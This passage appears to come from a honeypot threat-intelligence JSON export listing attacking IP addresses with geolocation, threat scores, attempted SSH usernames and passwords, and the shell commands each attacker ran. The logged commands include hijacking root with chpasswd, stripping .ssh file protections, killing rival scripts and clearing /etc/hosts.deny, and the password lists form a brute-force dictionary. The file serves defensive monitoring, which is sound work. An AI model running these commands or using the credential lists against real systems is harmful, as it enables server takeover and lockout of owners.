      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 150
      }
    },
    "130.250.191.204": {
      "attack_count": 366,
      "first_seen": "2026-04-15T23:49:14.107Z",
      "last_seen": "2026-04-21T20:12:53.895Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "aj",
        "git",
        "postgres",
        "ubuntu",
        "admin",
        "admin1",
        "admin1234",
        "ali",
        "blog",
        "deployuser",
        "devuser",
        "frappe",
        "headscale",
        "jb",
        "jin",
        "mailtest",
        "prod",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1",
        "123321123321",
        "12345678900",
        "12345zxcv",
        "1a2b3c!@#",
        "1qaz!QAZ",
        "1qaz2wsx",
        "@Aa123456",
        "A12345678$",
        "AA123456..",
        "Aa123456!",
        "Admin!2026",
        "Ali03",
        "Dev@2025",
        "Frappe01!",
        "Root1q2w3e",
        "ZXC123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nQuHcXI77MXxr\\nQuHcXI77MXxr\\n\"|passwd",
        "echo \"1qaz!QAZ\\nByJLZrjxjFlr\\nByJLZrjxjFlr\\n\"|passwd",
        "echo \"root:KZqhEeA7zhLb\"|chpasswd|bash",
        "echo -e \"123456\\nQuHcXI77MXxr\\nQuHcXI77MXxr\"|passwd|bash",
        "echo -e \"1qaz!QAZ\\nByJLZrjxjFlr\\nByJLZrjxjFlr\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 215117,
      "as_org": "HosterDaddy Private Limited",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 450,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T23:49:14.107000+00:00",
        "last_seen_30d": "2026-04-21T20:14:02.394000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 366,
        "Suricata": 84
      }
    },
    "65.181.123.181": {
      "attack_count": 286,
      "first_seen": "2026-04-29T16:17:06.970Z",
      "last_seen": "2026-04-29T16:57:20.595Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "bitnami",
        "developer",
        "ec2-user",
        "test1",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123qwe!@",
        "1414",
        "1a2s3d4f5g6h7j",
        "1qaz2wsx123",
        "1qaz=[;.",
        "25802580",
        "ABCabc123456",
        "Asd123$%^",
        "P@55word",
        "Passw@rd123",
        "Password123!",
        "Qaz123321",
        "Qq@123456",
        "Qwerty11",
        "Server001",
        "aaaAAA123",
        "abc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:e6yMKTG72HNT\"|chpasswd|bash",
        "echo \"root:shh95cR357mf\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36454,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 360,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:17:06.970000+00:00",
        "last_seen_30d": "2026-04-29T16:58:29.473000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 74
      }
    },
    "39.115.183.206": {
      "attack_count": 267,
      "first_seen": "2026-04-22T13:08:24.900Z",
      "last_seen": "2026-04-22T13:34:48.853Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "admin",
        "deploy",
        "ubuntu",
        "alireza",
        "bitcoin",
        "claude",
        "deployer",
        "dev",
        "frappe",
        "geoserver",
        "n8n",
        "oracle",
        "sftpuser",
        "socks",
        "system"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZxsw23edc",
        "111",
        "1qazXSW@3edc",
        "Aa159753",
        "Admin1@",
        "Dev9",
        "Fc123456",
        "Frappe31!",
        "Monster85!!$$",
        "N8n1234",
        "Password!",
        "Password1",
        "Password@123",
        "Qwerty",
        "Sam4z1ngw0nd3r5Z",
        "Steam05!",
        "Xc123456",
        "alireza123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:oH3MTixARXLk\"|chpasswd|bash",
        "echo \"wLC_MsAU(c8hy21HX\\nJsB1luDbOju3\\nJsB1luDbOju3\\n\"|passwd",
        "echo -e \"wLC_MsAU(c8hy21HX\\nJsB1luDbOju3\\nJsB1luDbOju3\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongdeungpo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T13:08:24.900000+00:00",
        "last_seen_30d": "2026-04-22T13:35:50.612000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 68
      }
    },
    "89.190.156.124": {
      "attack_count": 262,
      "first_seen": "2026-04-07T12:35:06.960Z",
      "last_seen": "2026-04-07T13:12:12.293Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "user",
        "btest",
        "digital",
        "ediuser",
        "erpnext",
        "ftpuser",
        "jack",
        "root/1234567",
        "teamspeak",
        "user9",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "1234567890",
        "1q2w3e4r!",
        "Aa@123456",
        "Oracle2026",
        "Qazwsx9999!@",
        "Qwertyuio1234567",
        "Root666@#",
        "Steam4",
        "Teamspeak03!",
        "Vpn12345",
        "Xp123456",
        "aaa",
        "asdqwe123",
        "bt@123456",
        "digital"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Steam4\\nfGz7IiTL1ztE\\nfGz7IiTL1ztE\\n\"|passwd",
        "echo \"root:BG1pcGh1YtSU\"|chpasswd|bash",
        "echo -e \"Steam4\\nfGz7IiTL1ztE\\nfGz7IiTL1ztE\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:35:06.960000+00:00",
        "last_seen_30d": "2026-04-07T13:13:13.789000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "211.170.168.202": {
      "attack_count": 216,
      "first_seen": "2026-04-28T22:07:08.799Z",
      "last_seen": "2026-04-28T22:37:59.234Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "mysql",
        "ali",
        "user",
        "345gs5662d34",
        "ansadmin",
        "deploy",
        "ec2-user",
        "ftpusers",
        "git_user",
        "sysadmin",
        "test1",
        "testuser"
      ],
      "passwords_attempted": [
        "p@ssw0rd",
        "#EDC4rfv",
        "11",
        "123321",
        "12345",
        "1q2w3",
        "1q2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "Password123",
        "User123",
        "admin#0",
        "admin123456.",
        "adminserver2023",
        "ali22",
        "ansadmin@123",
        "cactiadmin",
        "ftpusers",
        "git_user"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:pk6B9ytaRL2T\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T22:07:08.799000+00:00",
        "last_seen_30d": "2026-04-28T22:38:59.527000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 70
      }
    },
    "179.32.33.161": {
      "attack_count": 211,
      "first_seen": "2026-04-26T17:06:57.643Z",
      "last_seen": "2026-04-26T17:23:17.144Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Zx",
        "!qwe1234",
        "111119",
        "123456!@#",
        "123zxc123",
        "1Pass12",
        "1q2w3e4r5T",
        "1qaz@WSX123",
        "Canada@2026!",
        "F1",
        "a@4",
        "admin#10",
        "asdfghjkl;'\\",
        "bronze2",
        "hik12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:MIJM6YW09KOJ\"|chpasswd|bash",
        "echo \"root:ihUfdXpaisI7\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Medell\u00edn",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:06:57.643000+00:00",
        "last_seen_30d": "2026-04-26T17:24:18.254000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 42
      }
    },
    "103.250.11.118": {
      "attack_count": 194,
      "first_seen": "2026-04-04T13:57:55.914Z",
      "last_seen": "2026-04-04T15:07:15.444Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "teamspeak",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "deploy",
        "dev",
        "devuser",
        "minecraft",
        "n8n",
        "odoo",
        "oem",
        "steam",
        "system"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!",
        "Abcd12345!!",
        "Admin123",
        "DDaa123",
        "Guest@123",
        "Odoo#",
        "Pass@1234",
        "Sam4z1ngw0nd3r5Z",
        "Welcome1!",
        "admin0@#",
        "admin@123",
        "ali5",
        "asdfghjkl",
        "d3ploy",
        "dev26!",
        "devuser123",
        "get"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test123\\nHz3HjvFfQmoI\\nHz3HjvFfQmoI\\n\"|passwd",
        "echo -e \"test123\\nHz3HjvFfQmoI\\nHz3HjvFfQmoI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T13:57:55.914000+00:00",
        "last_seen_30d": "2026-04-04T15:08:23.391000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 67
      }
    },
    "203.145.34.37": {
      "attack_count": 194,
      "first_seen": "2026-04-05T03:38:59.089Z",
      "last_seen": "2026-04-05T04:40:51.373Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "ashish",
        "345gs5662d34",
        "composeruser",
        "db2fenc1",
        "devops",
        "ftpuser",
        "gitlab",
        "mohammad",
        "sftpuser",
        "testuser",
        "ts3user",
        "user",
        "wahid"
      ],
      "passwords_attempted": [
        "123456",
        "12",
        "123!@#abc",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456789a",
        "Ftpuser!2025",
        "Oracle1234",
        "P@ssw0rd",
        "QWERTYUIOP!",
        "Qazwsx11111111!!",
        "Qazwsx123456789!@",
        "Qazwsx999!!",
        "Root2024@#",
        "Rs123456",
        "User16",
        "a12345678a",
        "aa123456789bb",
        "administrator",
        "ashish123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ashish123\\nvGRoirWX03NK\\nvGRoirWX03NK\\n\"|passwd",
        "echo -e \"ashish123\\nvGRoirWX03NK\\nvGRoirWX03NK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T03:38:59.089000+00:00",
        "last_seen_30d": "2026-04-05T04:41:55.054000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "220.247.224.226": {
      "attack_count": 194,
      "first_seen": "2026-04-07T16:51:02.132Z",
      "last_seen": "2026-04-07T17:33:43.704Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dev",
        "ubuntu",
        "345gs5662d34",
        "git",
        "luna",
        "minecraft_server",
        "postgres",
        "sammy",
        "steam",
        "teamspeak",
        "test",
        "user",
        "user1",
        "user6"
      ],
      "passwords_attempted": [
        "123",
        "123!@",
        "12345678",
        "123456aa!",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456#",
        "Passw0rd",
        "QWERTYU1234567",
        "QWer!@34",
        "Qazwsx123123@123",
        "Qazwsx2020@",
        "Root2022..",
        "Sl123456",
        "Super123!",
        "Test25!",
        "Welcome123",
        "a1234567890b",
        "admin2025!",
        "chen123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\njLrGLQlgq8MZ\\njLrGLQlgq8MZ\\n\"|passwd",
        "echo -e \"12345678\\njLrGLQlgq8MZ\\njLrGLQlgq8MZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sri Lanka",
      "country_code": "LK",
      "city": "Colombo",
      "asn": 9329,
      "as_org": "Sri Lanka Telecom Internet",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T16:51:02.132000+00:00",
        "last_seen_30d": "2026-04-07T17:34:44.629000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "103.172.236.15": {
      "attack_count": 172,
      "first_seen": "2026-04-27T05:36:40.506Z",
      "last_seen": "2026-04-27T06:14:21.977Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "root1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%12345",
        "!@#qweASDzxc",
        "0p3nv1x-01!",
        "123qweASDF321",
        "2024@lekLAeLK",
        "@thl0n",
        "Asdfgh123",
        "Dell",
        "Pa55word1",
        "articon",
        "chinacache123",
        "dinglicom123!@",
        "esroot",
        "golfer",
        "p@ssw0rd!@",
        "password@123456",
        "plmoknijbuhvygc:",
        "root1.2026"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T05:36:40.506000+00:00",
        "last_seen_30d": "2026-04-27T06:15:30.731000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 61
      }
    },
    "103.189.234.73": {
      "attack_count": 168,
      "first_seen": "2026-04-28T07:02:45.601Z",
      "last_seen": "2026-04-28T08:00:07.177Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        ".jp",
        "123412345",
        "3245gs5662d34",
        "345gs5662d34",
        "Huawei12$$21",
        "In5pur123$",
        "LZ_sjwg_2024",
        "Long2026",
        "P@ssw0rd!@456",
        "Pass@123",
        "Passw0rd123",
        "Pr!vat3Sh3llAcc3sS",
        "Welcome2025",
        "gyroot",
        "iloveu",
        "riposte",
        "s3arch",
        "server*123",
        "shGenTai123",
        "supernet"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jTxjFP5WYfVv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T07:02:45.601000+00:00",
        "last_seen_30d": "2026-04-28T08:01:14.504000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "172.210.249.152": {
